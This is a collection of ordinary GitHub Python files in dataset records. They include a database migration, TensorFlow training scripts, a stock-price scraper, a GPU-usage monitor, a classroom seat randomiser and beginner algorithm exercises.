{"seq_id":"18180737048","text":"\"\"\"add blogview without timestamp\n\nRevision ID: b4893dd631cc\nRevises: 8553a96593c0\nCreate Date: 2017-11-18 00:15:21.615630\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'b4893dd631cc'\ndown_revision = '8553a96593c0'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_index('ix_blog_view_timestamp', table_name='blog_view')\n    op.drop_column('blog_view', 'timestamp')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('blog_view', sa.Column('timestamp', mysql.DATETIME(), nullable=True))\n    op.create_index('ix_blog_view_timestamp', 'blog_view', ['timestamp'], unique=False)\n    # ### end Alembic commands ###\n","repo_name":"hyfgreg/newblog","sub_path":"migrations/versions/b4893dd631cc_add_blogview_without_timestamp.py","file_name":"b4893dd631cc_add_blogview_without_timestamp.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12548643856","text":"import os\nimport numpy as np\nimport tensorflow as tf\nimport datetime\nimport pandas as pd\nimport logging as l\nfrom . import model as m\nimport global_config_supervised_learning as gc\nimport supervised_learning.data_generator.game_manager  as gm\n\n\nclass MyCustomRobotEvalCallback(tf.keras.callbacks.Callback):\n    def __init__(self,path, model):\n        self.model = model\n        self.path = path\n\n        with open(path, 'w') as the_file:\n            the_file.write('epoch,loss,val_loss,win_rate,draw_rate,loss_rate\\n')\n\n    def on_epoch_end(self, epoch, logs=None):\n        l.info('start robot evaluation')\n        win_rate, draw_rate, loss_rate = gm.robot_evaluate_by_model(self.model)\n\n        with open(self.path, 'a') as the_file:\n            the_file.write('{},{},{},{},{},{}\\n'.format(epoch, logs['loss'], logs['val_loss'], \n                    win_rate,draw_rate ,loss_rate) )\n\n        l.info('end robot evaluation (win, draw, loss) : {} , {} , {}'.format(win_rate, draw_rate, loss_rate))\n\n\ndef get_numpy_data():\n    path = os.path.join( gc.C_save_data_folder , 'data.npz' )\n    l.info('loading numpy data file {}'.format(path))\n\n    with open(path, 'rb') as f:\n        dd = np.load(f)\n        data_train = dd['data_train']\n        data_dev = dd['data_dev']\n        data_test = dd['data_test']\n        win_stat = dd['win_stat']\n        move_count_stat = dd['move_count_stat']\n        winner_level_stat = dd['winner_level_stat']\n\n    l.info('total size of training data {}'.format(data_train.shape))\n    l.info('total size of dev data {}'.format(data_dev.shape))\n    l.info('total size of test data {}'.format(data_test.shape))\n    l.info('total size of win stat data {}'.format(win_stat.shape))\n    l.info('total size of move data {}'.format(move_count_stat.shape))\n    l.info('total size of player level data {}'.format(winner_level_stat.shape))\n\n    return data_train , data_dev , data_test , win_stat , move_count_stat , winner_level_stat \n\ndef get_dataset(n_example=120000):\n    l.info('loading dataset file')\n    data_train , data_dev , data_test , win_stat , move_count_stat , winner_level_stat = get_numpy_data()\n\n    l.info('shuffling...')\n\n    np.random.shuffle(data_train)\n    np.random.shuffle(data_dev)\n    np.random.shuffle(data_test)\n\n    all_data = []\n    for name, d in [ ( 'training set' , data_train) , ( 'dev set' , data_dev ) , ( 'test set' , data_test )] :\n        x = d[:,0:-1]\n        y = d[:,-1]\n\n        l.info('converting to tf dataset : {}'.format(name))\n        dataset = tf.data.Dataset.from_tensor_slices((x[0:n_example], y[0:n_example]))\n        dataset = dataset.batch(gc.HP_Batch)\n        l.info('dataset shuffle')\n        dataset.shuffle( gc.HP_DATA_SHUFFLE_SIZE )\n\n        all_data.append(dataset)\n\n    dataset_train = all_data[0]\n    dataset_dev = all_data[1]\n    dataset_test = all_data[2]\n\n    return dataset_train , dataset_dev , dataset_test \n\n\n\ndef _get_model(save_model_path, create_new=False):\n    if create_new:\n        l.info('***** create new model *******')\n        model = m.create_model()\n    else:\n        l.info('************************************')\n        l.info('***** resume model *******')\n        l.info('***** loading {} *******'.format( save_model_path ) )\n        l.info('************************************')\n        model = tf.keras.models.load_model( save_model_path ) \n\n    model.summary(print_fn=l.info)\n\n    return model\n\n\ndef _get_callback(csv_logger, checkpoint_path, robot_eval_logger, model):\n    robot_eval = MyCustomRobotEvalCallback(robot_eval_logger, model)\n    csv_logger = tf.keras.callbacks.CSVLogger( csv_logger )\n    cp_callback = tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_path,\n                                                 save_weights_only=True,\n                                                 verbose=1)\n    \n    cb = [ csv_logger , cp_callback ]\n    if gc.MODE_ENABLE_MODEL_ROBOT_EVULATION :\n        cb = cb + [ robot_eval]\n\n    return cb\n\n\ndef _save_history(history_folder, history, run_time):\n\n    x = run_time\n\n    history_path = '{}/history_{}.csv'.format(history_folder, x.strftime( r'%Y%m%d_%H_%M_%S'))\n    l.info('saving history to {}'.format(history_path))\n\n    df = pd.DataFrame( history)\n    df['date'] = x.strftime( r'%Y-%b-%d' )\n    df['time'] = x.strftime( r'%H:%M:%S' )\n    df.to_csv(history_path)\n\ndef train_model():\n    working_folder = gc.C_save_model_current_folder \n    base_folder = gc.C_save_model_base_folder\n\n    run_time  = datetime.datetime.now()\n\n    csv_logger = './{}/{}/training_{}.log'.format(base_folder, working_folder, run_time.strftime( r'%Y%m%d_%H_%M_%S'))\n    robot_eval_logger = './{}/{}/training_robot_{}.log'.format(base_folder, working_folder, run_time.strftime( r'%Y%m%d_%H_%M_%S'))\n    history_folder= './{}/{}/'.format(base_folder, working_folder)\n    checkpoint_path = './{}/{}/checkpoint/checkpoint'.format(base_folder, working_folder)\n    save_model_path = './{}/{}/savemodel/my_model'.format(base_folder, working_folder)\n\n    to_create_new = (not gc.MODE_RESUME_TRAINING)\n    model = _get_model(save_model_path, create_new=to_create_new)\n\n    if gc.MODE_RESUME_TRAINING:\n        model.load_weights(checkpoint_path)\n\n    n_example = gc.HP_NUM_TRAINING_DATA \n    epochs = gc.HP_EPOCH\n\n    l.info('loading dataset . n_example {}'.format(n_example))\n    dataset_train , dataset_dev , dataset_test  = get_dataset(n_example)\n\n    l.info('ready to fit. n_example {}'.format(n_example))\n    cb = _get_callback(csv_logger, checkpoint_path, robot_eval_logger, model)\n\n    history = model.fit(dataset_train, epochs=epochs, validation_data=dataset_dev, callbacks=cb)\n\n    l.info('saving model')\n    tf.keras.models.save_model( model, save_model_path )\n    model.save_weights(checkpoint_path)\n\n    l.info('saving history')\n    _save_history(history_folder, history.history, run_time)\n\n    # Evaluate the model on the test data using `evaluate`\n    l.info('Evaluate on test data')\n    results = model.evaluate(dataset_test)\n    l.info('result {}'.format(results))\n\n    return model","repo_name":"palazzo-train/deep-four-in-a-row-ai","sub_path":"supervised_learning/model_ai/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"44175008828","text":"import ipaddress\n\n\ndef check_ip(ip):\n    try:\n        ipaddress.ip_address(ip)\n        return True\n    except ValueError as err:\n        return False\n\n\nif __name__ == \"__main__\":\n    result = check_ip('10.1.1.1')\n    print('Function result:', result)\n","repo_name":"leo-astorsky/ci_test","sub_path":"check_ip_functions.py","file_name":"check_ip_functions.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"31064771808","text":"#Scrape stock data of NTC on NEPSE (2011 AD to present) from\n#stocksansar.com using bs4 and selenium and save to a CSV file\n\nimport bs4, requests\nimport pandas as pd\nfrom selenium import webdriver\nimport time\n\ntotal_data = []\ndriver = webdriver.Chrome(r'C:\\Users\\HP\\Downloads\\Compressed\\chromedriver_win32/chromedriver.exe')\ncompany_id = 'ntc'\ndriver.get('https://www.sharesansar.com/company/'+company_id)\nelem = driver.find_element_by_id('btn_cpricehistory')\nelem.click()\ntime.sleep(3)\ni=0\nwhile True:\n    i+=1\n    soup = bs4.BeautifulSoup(driver.page_source, 'lxml')\n    tables = soup.select('#myTableCPriceHistory')[0]\n    df = pd.read_html(str(tables))[0]\n    total_data.append(df)\n    print(f'Added page {i}')\n    nextPage = driver.find_element_by_id('myTableCPriceHistory_next')\n    nextPage.click()\n    if 'disabled' in nextPage.get_attribute('class'):\n        break\n    time.sleep(3)\n\ntotal_df = pd.concat(total_data)\ntotal_df.to_csv('lateststockdata.csv')\nprint('Successfully created csv file')\n","repo_name":"sayori11/NEPSE_Stock_Prediction","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32479550478","text":"#!/usr/bin/python3\nfrom fabric import SerialGroup\nfrom fabric.exceptions import GroupException\nfrom fabric.runners import Result\nfrom termcolor import cprint\nimport sys\n\n\ndef format_proc(line):\n    if len(line) < 4 or '-' * 5 in line or '=' * 5 in line or \"/usr/\" in line:\n        return\n    else:\n        line_args = line.split()\n        if \"@QD\" in line_args[4]:\n            name, rtime = line_args[4].split('#')\n            rdays = rtime.split(\"d\")[0]\n            if rdays == \"first_epoch\":\n                color = \"white\"\n            elif int(rdays) > 6:\n                color = 'red'\n            elif int(rdays) > 4:\n                color = 'yellow'\n            elif int(rdays) >= 1:\n                color = 'blue'\n            else: # = 0\n                color = 'green'\n            return [line_args[1], name[4:] + \":\" + rtime, color, ['bold'], \"QD\"]\n        else:\n            return [line_args[1], line_args[4], None, ['dark'], \"other\"]\n\n\ndef retrieve_smis(server_list, out_filename=\".smi_saves\"):\n    out_file = open(out_filename, \"w\", encoding=\"utf-8\")\n    server_group = SerialGroup(*server_list)\n    try:\n        return server_group.run('echo \"new connection:\" && hostname && \\\n                                 nvidia-smi', out_stream=out_file, hide=True)\n    except GroupException as e:\n        problem_list = []\n        for key, val in e.result.items():\n            if type(val) is not Result or val.failed:\n                problem_list.append(key.original_host)\n        return 'Err', problem_list\n\n\n\ndef format_smis(filename=\".smi_saves\"):\n    smi_content = open(filename, \"r\", encoding=\"utf-8\").read()\n    all_processes_dict = {}\n    smis = smi_content.split(\"new connection:\")[1:]\n    for smi in smis:\n        smi = smi[1:]\n        hostname = smi.partition('\\n')[0]\n        if \"-------------------------------------------------\" not in smi:\n            all_processes_dict[hostname] = {}\n            all_processes_dict[hostname][\"ERR\"] = [\"Not able to retrieve processes\"]\n            continue\n        processes = smi.split(\"=\"*77)[1].split(\"\\n\")[1:]\n        gpu_set = False\n        if \"mlstudent\" in hostname:\n            gpu_num = hostname[9]\n            hostname = \"mlstudentpool\"\n            gpu_set = True\n        if hostname not in all_processes_dict:\n            all_processes_dict[hostname] = {}\n        for process in processes:\n            results = format_proc(process)\n            if results is None:\n                continue\n            if not gpu_set:\n                gpu_num = results.pop(0)\n            else:\n                results.pop(0)\n            if gpu_num not in all_processes_dict[hostname]:\n                all_processes_dict[hostname][gpu_num] = []\n            all_processes_dict[hostname][gpu_num].append(results)\n    return all_processes_dict\n\n\nif __name__ == '__main__':\n    server_list = [\"mlstudentpool\", \"mlstudentpool2\", \"mlstudentpool3\",\n                   \"mlstudentpool4\",  \"dl1\", \"stevens\", \"chichis\",\n                   \"dgx-a\", \"dgx-b\"]\n    # server_list = [\"dl1\", \"stevens\"]\n    # list = [\"dl1\", \"chichis\", \"stevens\", \"dgx-a\", \"dgx-b\"]\n    retrieve_smis(server_list)\n    if \"-term\" in sys.argv:\n        formated_dict = format_smis()\n        for hostname, gpus in formated_dict.items():\n            print(hostname)\n            for gpu, process_list in gpus.items():\n                print(gpu, end=\": \")\n                for process in process_list:\n                    process_name = process[0]\n                    process_name += \" \" * (42 - len(process_name))\n                    if len(process) == 4:\n                        cprint(process_name, process[1], attrs=process[2], end=\"\")\n                    else:\n                        print(process, end=\"\")\n\n                print()\n","repo_name":"k4ntz/dashboard","sub_path":"getp.py","file_name":"getp.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"24400791923","text":"# coding:utf-8\nimport random\nfrom tkinter import *\nimport time\n\npeople = {1: '陈俊宇', 2: '陈铭隽', 3: '陈奕纶', 4: '邓历新', 5: '何启荣', 6: '黄炜钊', 7: '黄烨锋', 8: '黄钊华', 9: '李  可', 10: '李铭轩', 11: '李志翔', 12: '李宗轩', 13: '练浩诚', 14: '梁俊文', 15: '梁宇轩', 16: '林子尧', 18: '韦睿行', 19: '冼飘虹', 20: '许  航', 21: '叶孝轩', 22: '张  乐', 23: '郑  超', 24: '钟梓洋', 25: '朱信华', 26: '邹佳洵', 27: '陈楚原', 28: '陈隽欣', 29: '陈沛怡', 30: '陈易沛', 31: '陈钰甄', 32: '范海瑶', 33: '冯琬乔', 34: '何恩希', 35: '何文静', 36: '何宗阳', 37: '黄逸帆', 38: '黎晋旭', 39: '李烨彤', 40: '梁楚清', 41: '梁子怡', 42: '林雨涵', 43: '罗思薇', 44: '马麒越', 45: '邱  童', 46: '石粤礽', 47: '汪雨桐', 48: '谢砚琪', 49: '许艺馨', 50: '杨梓馨', 51: '詹  岚', 52: '张嘉宁', 53: '周熙临', 54: '朱怡晨', 55: '左芷溪'}\n\n\ndef get_random_seats():\n    \"\"\"获取随机座位数据\n    input: None\n    OUTPUT: List\n    输出格式: [[同桌对1]， [同桌对2]， ...]\n        E.g. [[2, 5], [7, 12], ...]\n        其中，数字为学号\n    \"\"\"\n\n    # 生成打乱后的男女学号\n    boys = list(range(1, 27))\n    boys.remove(17)\n    girls = list(range(27, 56))\n    print(str(girls))\n    random.shuffle(boys)\n    random.shuffle(girls)\n\n    # 确定每对同桌性别\n    result = []\n    seat_sex = [0]*(len(boys)//2) + [1]*(len(girls)//2)\n    if len(seat_sex) != len(boys+girls):\n        seat_sex.append(0.5)  # 此处0.5为男女同桌\n    random.shuffle(seat_sex)\n\n    # 将男生女生学号随机填入座位\n    for num in range(1, len(boys+girls)//2+1):\n        sex = seat_sex.pop(0)\n        if sex == 0:\n            result.append([boys.pop(0), boys.pop(0)])\n        elif sex == 1:\n            result.append([girls.pop(0), girls.pop(0)])\n        else:\n\n            opposite = [boys.pop(0), girls.pop(0)]\n            print('男女同桌', people[opposite[0]], people[opposite[1]])  # 男女同桌公开处刑\n            print()\n            random.shuffle(opposite)\n            result.append(opposite)\n\n    return result\n\n\ndef print_seats(seats):\n    \"\"\"格式化输出座位表\n    \"\"\"\n\n    for y in range(7):\n        print(y+1, ' ', end='')\n        for x in range(4):\n            if not (x == 3 and y == 6):\n                pair = seats[y*4+x]\n\n                print('|'+people[pair[0]]+' '+people[pair[1]], end='')\n        print('|')\n\n\n\nprint_seats(get_random_seats())\ninput()\n\n","repo_name":"baoqi-zhong/random_seats","sub_path":"python_code/random_seats.py","file_name":"random_seats.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"17883174632","text":"import tensorflow as tf\nimport numpy as np\n\nclass DataReader():\n    def __init__(self, dataset, batch_size = None):\n        npz = np.load('Audiobooks_data_{0}.npz'.format(dataset))\n        self.inputs, self.targets = npz['inputs'].astype(np.float), npz['targets'].astype(np.int)\n\n        if batch_size is None:\n            self.batch_size = self.inputs.shape[0]\n        else:\n            self.batch_size = batch_size\n        self.curr_batch = 0\n        self.batch_count = self.inputs.shape[0] // self.batch_size\n\n    def __next__(self):\n        if self.curr_batch >= self.batch_count:\n            self.curr_batch = 0\n            raise StopIteration()\n\n        batch_slice = slice(self.curr_batch * self.batch_size, (self.curr_batch + 1) * self.batch_size)\n        inputs_batch = self.inputs[batch_slice]\n        targets_batch = self.targets[batch_slice]\n        self.curr_batch += 1\n\n        classes_num = 2\n        targets_one_hot = np.zeros((targets_batch.shape[0], classes_num))\n        targets_one_hot[range(targets_batch.shape[0]), targets_batch] = 1\n\n        return inputs_batch, targets_one_hot\n\n    def __iter__(self):\n        return self\n\ninput_size = 10\noutput_size = 2\nhidden_layer_size = 50\n\ntf.reset_default_graph()\n\ninputs = tf.placeholder(tf.float32, [None, input_size])\ntargets = tf.placeholder(tf.int32, [None, output_size])\n\nweights_1 = tf.get_variable(\"weights_1\", [input_size, hidden_layer_size])\nbiases_1 = tf.get_variable(\"biases_1\", [hidden_layer_size])\noutputs_1 = tf.nn.relu(tf.matmul(inputs, weights_1) + biases_1)\n\nweights_2 = tf.get_variable(\"weights_2\", [hidden_layer_size, hidden_layer_size])\nbiases_2 = tf.get_variable(\"biases_2\", [hidden_layer_size])\noutputs_2 = tf.nn.sigmoid(tf.matmul(outputs_1, weights_2) + biases_2)\n\nweights_3 = tf.get_variable(\"weights_3\", [hidden_layer_size, hidden_layer_size])\nbiases_3 = tf.get_variable(\"biases_3\", [hidden_layer_size])\noutputs_3 = tf.nn.sigmoid(tf.matmul(outputs_2, weights_3) + biases_3)\n\nweights_final = tf.get_variable(\"weights_final\", [hidden_layer_size, output_size])\nbiases_final = tf.get_variable(\"biases_final\", [output_size])\noutputs = tf.matmul(outputs_3, weights_final) + biases_final\n\nloss = tf.nn.softmax_cross_entropy_with_logits(logits=outputs, labels=targets)\nmean_loss = tf.reduce_mean(loss)\n\nout_equals_target = tf.equal(tf.argmax(outputs, 1), tf.argmax(targets, 1))\naccuracy = tf.reduce_mean(tf.cast(out_equals_target, tf.float32))\n\noptimize = tf.train.AdamOptimizer(learning_rate=0.0001).minimize(mean_loss)\n\nsess = tf.InteractiveSession()\ninitializer = tf.global_variables_initializer()\nsess.run(initializer)\n\nbatch_size = 100\nmax_epoch = 500\nprev_validation_loss = 99999999\n\ntrain_data = DataReader('train', batch_size)\nvalidation_data = DataReader('validation')\n\nfor epoch_counter in range(max_epoch):\n    curr_epoch_loss = 0.\n\n    for batch_train_inputs, batch_train_targets in train_data:\n        _, batch_loss = sess.run([optimize, mean_loss],\n                                 feed_dict={inputs: batch_train_inputs, targets: batch_train_targets})\n        curr_epoch_loss += batch_loss\n\n    curr_epoch_loss /= train_data.batch_count\n\n    validation_loss = 0.\n    validation_accuracy = 0.\n    for batch_validation_inputs, batch_validation_targets in validation_data:\n        validation_loss, validation_accuracy = sess.run([mean_loss, accuracy],\n                                                        feed_dict={inputs: batch_validation_inputs,\n                                                                   targets: batch_validation_targets})\n\n    print('Epoch '+str(epoch_counter+1) +\n          '. Training loss: '+'{0:.3f}'.format(curr_epoch_loss) +\n          '. Validation loss: '+'{0:.3f}'.format(validation_loss) +\n          '. Validation accuracy: '+'{0:.2f}'.format(validation_accuracy * 100.)+'%')\n\n    if validation_loss > prev_validation_loss:\n        break\n    prev_validation_loss = validation_loss\n\nprint('End of training.')\n\ntest_data = DataReader('test')\nfor inputs_batch, targets_batch in test_data:\n    test_accuracy = sess.run([accuracy], feed_dict={inputs: inputs_batch, targets: targets_batch})\n\ntest_accuracy_percent = test_accuracy[0] * 100.\nprint('Test accuracy: '+'{0:.2f}'.format(test_accuracy_percent)+'%')","repo_name":"noceanfish/nlp","sub_path":"Audiobooks_ML.py","file_name":"Audiobooks_ML.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"40034391260","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 18 08:28:11 2023\n\n@author: felipe.bortolletto\n\"\"\"\n\nimport pandas as pd \nimport xarray as xr\nimport os\n\ndef cria_super_csv():\n    \n    diretorios = [\n    \"../catch/table2map\",\n    \"../catch/meteo\",\n    \"../catch/maps/soilhyd\",\n    \"../catch/maps/landuse\",\n    \"../catch/maps\",\n    \"../catch/lai\"\n                        ]    \n    \n    # diretorios = [\n    # \"./params_calibration/table2map\",\n    # \"./params_calibration/meteo\",\n    # \"./params_calibration/maps/soilhyd\",\n    # \"./params_calibration/maps/landuse\",\n    # \"./params_calibration/maps\",\n    # \"./params_calibration/lai\"\n    #                     ]    \n    \n    first_meteo = True\n    first_lai   = True\n    first_estatico = True\n    for _entrada in diretorios:\n        files = [f for f in os.listdir(f\"{_entrada}\") if f.endswith(\".nc\")]\n        for arquivo in files:\n            entrada_temp = _entrada.split(\"/\")[-1]\n            dataset= xr.open_dataset(f\"{_entrada}/{arquivo}\")\n            df = dataset.to_dataframe()\n            if entrada_temp in [\"meteo\"]: #meteorologicos\n                if first_meteo:\n                    df_meteo = pd.DataFrame(index = df.index)\n                    first_meteo = False\n                if \"spatial_ref\" in df.columns:\n                    df.drop(columns = [\"spatial_ref\"],inplace= True)\n                df_meteo = pd.merge(df_meteo,df,how = \"inner\",left_index=True,right_index=True)\n                \n            elif entrada_temp in [\"lai\"]: #indices de area foliar\n                if \"spatial_ref\" in df.columns:\n                    df.drop(columns = [\"spatial_ref\"],inplace= True)\n                if \"band\" in df.index.names:\n                    df = df.droplevel('band')\n                    \n                if first_lai:\n                    df_lai = pd.DataFrame(index = df.index)\n                    first_lai = False               \n                df_lai = pd.merge(df_lai,df,how = \"inner\",left_index=True,right_index=True)\n            else: #diversos mapas estaticos\n                if \"spatial_ref\" in df.columns:\n                    df.drop(columns = [\"spatial_ref\"],inplace= True)     \n                if \"transverse_mercator\" in df.columns:\n                    df.drop(columns = [\"transverse_mercator\"],inplace= True) \n                if \"band_data\" in df.columns:\n                    df.rename(columns = {\"band_data\":arquivo},inplace = True)\n                if first_estatico:\n                    df_estatico = pd.DataFrame(index = df.index)\n                    first_estatico = False               \n                df_estatico = pd.merge(df_estatico,df,how = \"inner\",left_index=True,right_index=True)\n\n    return df_estatico ,df_meteo , df_lai\n\n\nestaticos,meteo,lai = cria_super_csv()\n\ndf = pd.read_csv(\"/home/felipe.bortolletto/Downloads/dados_estaticos_com_erro_no_escoamento_de_base.csv\",index_col = [\"y\",\"x\"])\n\nfor i in estaticos.columns:\n    \n    temp1 = df[i]\n    temp2 = estaticos[i]\n    dif = temp1 - temp2\n    \n    print(f\"A diferençã entre o note e o pc são: {i} \" ,round(dif.sum(),4))\n","repo_name":"bortolletto/lf_pm","sub_path":"lisf_pm/fim de uma era/novo_calibrador/cria_super_csv.py","file_name":"cria_super_csv.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"41177385803","text":"import pickle\nfrom datetime import datetime, timedelta\nfrom NotificationCenter import debug, info, warning, error, critical\nimport ast\n\n\n# 監視している通貨リスト\ndef get_monitoring_currency_cache():\n    try:\n        f = open('save/monitoring_currency_cache.bin', 'rb')\n        r = pickle.load(f)\n        return r\n    except:\n        data = {}\n        set_monitoring_currency_cache(data)\n        return data\n\n\ndef set_monitoring_currency_cache(data):\n    f = open('save/monitoring_currency_cache.bin', 'wb')\n    pickle.dump(data, f)\n    f.close()\n\n\n# 今取引しているコインについての情報\n# 取引してないときはNULL？\n# userは1or2\ndef get_position_cache(user):\n    user = str(user)\n    if user != '1' and user != '2':\n        return\n    try:\n        path = 'save/position_cache' + str(user) + '.bin'\n        with open(path, 'rb') as web:\n            r = pickle.load(web)\n            return r\n    except:\n        data = {\n            'user': 0,\n            'status': False,\n            'pair': None,\n            'amount': 0,\n            'buy_time': None,\n            'sell_time': None,\n            'buy_coin': 0,\n            'sell_coin': 0,\n            'profit': 0,\n            'mode': 0,\n        }\n        set_position_cache(user, data)\n        warning(\"[CacheManager]例外：ファイルがないので初期ファイルを作成します\")\n        return data\n\n\ndef set_position_cache(user, data):\n    user = str(user)\n    if user != '1' and user != '2':\n        return\n    path = 'save/position_cache' + str(user) + '.bin'\n    with open(path, 'wb') as web:\n        pickle.dump(data, web)\n\n\ndef get_binance_api():\n    f = open('binance_api.txt', 'r', encoding='UTF-8')\n    api_txt = f.read()\n    api_key = ast.literal_eval(api_txt)\n    return api_key\n\n\nclass CacheManagerClass:\n    def __init__(self):\n        pass\n\n\nif __name__ == \"__main__\":\n    dict = {\n        'status': False,\n        'dt_now': None,\n        'price': 0,\n        'usecoin': None,\n        'amount': 0,\n        'wasOverbuy': False,\n        'wasOversold': False,\n        'crossoverbuy': False,\n        'crossoversold': False,\n        'buy_coin': 0,\n        'sell_coin': 0,\n        'mode': 0,\n    }\n    data = {'XEMUSDT': datetime.now() + timedelta(hours=1),\n            'BATUSDT': datetime.now() + timedelta(hours=1)\n            }\n    # set_position_cache(1, dict)\n    # set_monitoring_currency_cache(data)\n    print(type(get_binance_api()))\n","repo_name":"burugaria7/H4rvestRe4per","sub_path":"CacheManager.py","file_name":"CacheManager.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"27375875343","text":"import functools\n\n@functools.lru_cache(maxsize=None)\ndef binomial(n, k):\n    if k == n or k ==0:                         #n == k 일때 헷갈림..\n        return 1\n    return binomial(n-1, k-1) + binomial(n-1, k)\n\nl=[[0 for value in range(2)] for value in range(1000)]\n\nfor i in range(1000):\n    l[i]=list(map(int, input().split()))\n    if l[i][0]==0 and l[i][1]==0: break\n\nprint(l)\n\nfor i in range(1000):\n    if l[i][0]==0 and l[i][1]==0: break\n    print(binomial(l[i][0], l[i][1]))\n\n","repo_name":"namuwikilover/beakjun","sub_path":"이항계수/이항 계수3.py","file_name":"이항 계수3.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72441922032","text":"\"\"\"\n짝수가 주어지면 두 소수의 합으로 나타내라\n\n우선 에라토스테네스의 체를 사용하여 10,000까지의 소수를 모두 판별할 후\n값이 주어지면 해당 값의 절반까지 탐색하면서 값에 현재 소수의 값을 뺀 값이 소수라면 정답에 저장한다.\n이를 절반까지 탐색하게되면 가장 소수의 차이가 작은 값이 저장될테고, 이를 출력하였다.\n\n\"\"\"\n\nimport sys\nimport math\n\n# 에라토스테네스의 체를 사용하여 소수 판별\nMAX_VALUE = 10000\nprime_num = [True] * (MAX_VALUE + 1)\n\nfor i in range(2, int(math.sqrt(MAX_VALUE)) + 1):\n    if prime_num[i]:\n        j = 2\n        while i * j <= MAX_VALUE:\n            prime_num[i * j] = False\n            j += 1\n            \n# 테스트 케이스\nT = int(sys.stdin.readline().strip())\nfor _ in range(T):\n    answer = (0, 0)\n    target = int(sys.stdin.readline().strip())\n    \n    for i in range(2, target // 2 + 1):\n        # 현재 값이 소수이고, 골드바흐 파티션이 된다면\n        if prime_num[i] and prime_num[target - i]:\n            answer = (i, target - i)\n            \n    print(f\"{answer[0]} {answer[1]}\")","repo_name":"dhtmaks2540/LeetCode-Algorithm","sub_path":"baekjoon_problems/math/9020.py","file_name":"9020.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32095195207","text":"import logging\n\nlogging.basicConfig(filename='demo.log',level=logging.DEBUG)\n\n\n# x=10\n# y=20\n# z=x+y\n# logging.info(z)\n\ntry:\n    n1=int(input(\"enter the number:\"))\n    n2=int(input(\"enter the number:\"))\n    result=n1/n2\n    logging.info(result)\nexcept:\n    logging.error(\"an unknown error happened\")\n\n\n\n\n\n# logging.critical(\"critical error happened\")\n\n# logging.error(\"an unknown error happened\")\n\n# logging.warning(\"expected value is an integer\")\n\n# logging.info(\"normal message\")\n\n# logging.debug(\"for developers\")","repo_name":"KIRAN969/iprimeprogrammbasic","sub_path":"day12/logg.py","file_name":"logg.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6864469325","text":"\nimport sys, os\nfrom  PyQt4 import QtGui, QtCore\nfrom PyQt4.QtGui import QFileDialog, QAbstractItemView, QListView, QTreeView, QApplication, QDialog\n#\n# class getExistingDirectories(QFileDialog):\n#     def __init__(self, *args):\n#         super(getExistingDirectories, self).__init__(*args)\n#         self.setOption(self.DontUseNativeDialog, True)\n#         self.setFileMode(self.Directory)\n#         # self.setOption(self.ShowDirsOnly, True)\n#         self.findChildren(QListView)[0].setSelectionMode(QAbstractItemView.ExtendedSelection)\n#         self.findChildren(QTreeView)[0].setSelectionMode(QAbstractItemView.ExtendedSelection)\n#\n# # qapp = QApplication(sys.argv)\n# dlg = getExistingDirectories()\n# if dlg.exec_() == QDialog.Accepted:\n#     for fileq in dlg.selectedFiles():\n#         print unicode(fileq)\n\n\nclass FileDialog(QtGui.QFileDialog):\n    def __init__(self, *args):\n        QtGui.QFileDialog.__init__(self, *args)\n        self.setOption(self.DontUseNativeDialog, True)\n        self.setFileMode(self.ExistingFiles)\n\n        btns = self.findChildren(QtGui.QPushButton)\n        self.openBtn = [x for x in btns if 'open' in str(x.text()).lower()][0]\n        self.openBtn.clicked.disconnect()\n        self.openBtn.clicked.connect(self.openClicked)\n        self.tree = self.findChild(QtGui.QTreeView)\n\n    def openClicked(self):\n        inds = self.tree.selectionModel().selectedIndexes()\n        files = []\n        for i in inds:\n            if i.column() == 0:\n                files.append(os.path.join(str(self.directory().absolutePath()),str(i.data().toString())))\n        self.selectedFiles = files\n        # print files, self.selectedFiles\n        self.hide()\n    # @property\n    def filesSelected(self):\n\n        return self.selectedFiles\n\n# app = QApplication(sys.argv)\n# windows = FileDialog()\n# if windows.exec_() == QDialog.Accepted:\n#     windows.show()\n","repo_name":"free8011/wormhole_whApp","sub_path":"test/selmultidir.py","file_name":"selmultidir.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
